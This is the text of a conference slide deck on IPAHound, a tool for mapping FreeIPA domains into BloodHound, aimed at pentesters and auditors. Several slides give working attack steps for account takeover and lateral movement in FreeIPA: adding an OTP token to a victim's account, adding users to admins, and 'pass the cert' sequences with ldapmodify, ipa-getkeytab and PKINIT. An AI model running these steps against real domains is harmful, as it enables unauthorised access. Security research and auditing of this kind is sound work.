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Relevance of the topic

FreeIPA

FreeIPA is used to manage authentication and authorization in large 

domains.

• Lateral movement

• Find the path to the hosts after compromising the domain

• Find groups for accessing specific systems



About report

• What is an IPAHound?

• FreeIPA objects

• FreeIPA rules

• AD trusts and external users

• New in IPAHound



About FreeIPA
• 389 directory server (LDAP)

• MIT Kerberos (kerberos)

• Apache and Python (WEB Server for manage domain)

• AD trusts and external users

• DogTag (PKI)

• SSSD (on client like lsass)

• Samba (AD integration, optional)



About 
FreeIPA



Approaches to analyzing FreeIPA

Two different approaches to analyzing the FreeIPA LDAP:

1. The audit approach: we have full access to the data (using an 
administrator account or cn=Directory Manager). The goal is to find as many 
misconfigurations as possible. Blue teams typically have these privileges;

2.  The pentest approach: we only have access to the information available 
to a standard user.



IPAHound

• Our motto is «By pentesters, for pentesters»

• For bloodhound CE and legacy Bloodhound

• PKI (dogtag) support

• ALD Pro support

• Fast data upload to neo4j for legacy Bloodhound

• IPAHound have pre-built the query for GUI



FreeIPA 
objects



Directory Information Tree

Objects
• Domain
• Users
• Computers
• Service
• System accounts

Groups
• User groups
• Computer groups
• Net groups
• System groups

Rules
• Permissions
• Privileges
• Roles
• HBAC rules
• SUDO rules
• SELinux rules

Kerberos delegation
• Unconstrained delegation
• Constrained delegation
• RBCD

IPA PKI
• Certification authority
• Certificate profile
• CA ACL

AD trust relationships
• External groups
• External users



Objects

In FreeIPA:

• No forest

• Trust only with AD

• No global catalog

Objects
• Domain
• ...



Objects

krbCanonicalName — main name of user/service/computer

ipaUserAuthType — RADIUS, password + OTP, PKINIT,  
Hardened Password (by SPAKE or FAST),        
External Identity Provider, Passkey

krbTicketFlags — IPAKrbRequiresPreAuth          0x00000080
IPAKrbOkAsDelegate               0x00100000
IPAKrbOkToAuthAsDelegate 0x00200000

Objects
• Users
• Computers
• Service
• ...



In IPAHound

Attribute ipaUserAuthType in neo4j.

If password authentication is enabled, then 
PasswordAuthAllow = True

IPAKrbOkAsDelegate  — attribute 
UnconstrainedDelegation in neo4j.

Objects
• Users
• Computers
• Service
• ...



Add OTP to user

All users can add their 
own OTP

If you have a TGT ticket from the 
victim's account, you can add 
your OPT token to it.

Two ways:
• WEB UI
• CLI



Add OTP to user

Add OTP with CLI

ipa otptoken-add 
                   --type=totp
                   --owner=mikhail



System accounts

Starting with the new version of FreeIPA (4.13.0), system accounts 
have been added to the WEB UI and CLI.

Now support system account membership, allowing system 
accounts to be assigned permissions just like users or hosts.

 This account is only suitable for direct LDAP connection (using its 
full DN as the username); it does not exist in Kerberos.

On older Unix systems, you can find the password for SUDO 
system accounts in plaintext in the /etc/sudo-ldap.conf file.

Objects
• ...
• system accounts



Groups

Transitive relations

Add to group:

Groups
• User groups
• Computer groups
• Net groups
• System groups



Add user to group

Two ways:

• WEB UI
• CLI

ipa group-add-member
                       admins
                       --users=my_user



Rules

LDAP-level access control:

• Role <— Privilege <— Permissions = ACI
Rules
• Permissions
• Privileges
• Roles
• ...

ACI



Rules

LDAP-level access control:

• Role <— Privilege <— Permissions = ACI
Rules
• Permissions
• Privileges
• Roles
• ...

ACI



Rules

HBAC rules allow access to services (sudo, sshd, crond, etc.). Rules
• ...
• HBAC rules
• SUDO rules
• SELinux rules



Rules

Now, to view all the attributes of an edge, you just need to click on 
it, this is available for HBAC edge and SUDO edge. Rules

• ...
• HBAC rules
• SUDO rules
• SELinux rules



IPA. PKI

CA ACL => the edge between object and Certificate profile IPA. PKI
• Certification authority
• Certificate profile
• CA ACL



IPA. PKI

Where is it stored?

• root dn: o=ipaca

Dogtag PKI — responsible for PKI. All data stored in LDAP.

IPA. PKI
• Certification authority
• Certificate profile
• CA ACL



Simple path the cert

If there are no active Certificate Identity Mapping Rules.

We can add the certificate to the user's userCertificate attribute. The certificate can be any, most 
importantly issued by a CA.

$ ipa user-add-cert ivanov --certificate="$(cat cert.pem | sed '1d;$d' | tr -d '\n' )"

$ KRB5_TRACE=/dev/stdout kinit  -X X509_user_identity=FILE:cert1.pem,key.pem ivanov



Edges based on attributes

• Owns — ManagedBy attribute — a user with this account can configure RBCD, generate new 
Kerberos keys, add SSH keys, and certificates.

• ForceChangePassword — ipaAllowedToPerform;write_keys attribute — reset password or keytab.

• ReadKerberosKey — ipaAllowedToPerform;read_keys attribute — indicates the ability to read 
Kerberos keys (keytab retrieve).

• AddRBCD — ipaAllowedToPerform;write_delegation attribute — indicates the account can configure 
RBCD.



Explotation Owns edge
Three ways:

• Reset kerberos key
ipa-getkeytab
              -p 
              HTTP/web.realm@REALM
              -k reset.keytab

• Pass the cert
Limitation:
IPA CA
No active Certificate Identity Mapping Rules

• If we can read krbPrincipalKey, but we don’t craft the certificate



Pass the cert (1)

• Create a certificate request
$ openssl req -new -newkey rsa:2048 -days 365 -nodes -keyout private.key -out cert.csr -subj '/CN=srv.positive.ipa'

• Request the certificate
$ ipa cert-request cert.csr --certificate-out=srv.pem  --principal=host/srv.positive.ipa

• Add the certificate to the service via LDAP 
$ ldapmodify -h dc1.positive.ipa <<EOF
dn:krbprincipalname=test/srv.positive.ipa@POSITIVE.IPA,cn=services,cn=accounts,dc=positive,dc=ipa
add: userCertificate;binary
userCertificate;binary:: MIIErzCCAxegAwIBAgIBEzANBgkqhki...
EOF

• Perform PKINIT authentication.
$ kinit  -X X509_user_identity=FILE:srv.pem,private.key test/srv.positive.ipa@POSITIVE.IPA



Pass the cert (2)

• Save the value of the krbPrincipalKey attribute
• Reset service key
$ ipa-getkeytab -p HTTP/web.realm@REALM -k new.keytab

• Request TGT
$ kinit -k -t new.keytab HTTP/web.realm@REALM

• Perform PKINIT authentication.
$ ldapmodify -h dc1  <<EOF
dn:krbprincipalname=HTTP/web.realm@REALM,cn=services,cn=accounts,dc=positive,dc=ipa
replace: krbPrincipalKey
krbPrincipalKey:: MIIB1KADAgEBo...
EOF

• PWN!



AD trusts and external 
users



AD trust relationships

TrustBy

By default, FreeIPA trusts AD.
But you can also set up a two-way trust.



Can all users from the 
trusted AD log in to the 
FreeIPA domain?



Can all users from the 
trusted AD log in to the 
FreeIPA domain?

No



By default, an error occurs when logging 
into LDAP

ldap_sasl_interactive_bind: Invalid 
credentials (49)

for

administrator@IPA.TST



But if user added to ID 



By default, an error occurs when logging 
into LDAP

All ok for

aduser@IPA.TST



New in 
IPAHound



New in IPAHound

1. Bloodhound CE (Opengraph) support
Pre-build querys, description, extension

2. Add information about HBAC relationship

3. Add new flag to collector
Flag --add-hbac-node add hbac rule as node

4. Tracking the FreeIPA update
System accounts, CVE...

5. Bugs fix



Opengraph support

Load extension with 
OpenGraph Management



Opengraph support

All nodes contain useful 
queries



Opengraph support

Load query from JSON 
file to saved queries



Thanks! 
Questions?
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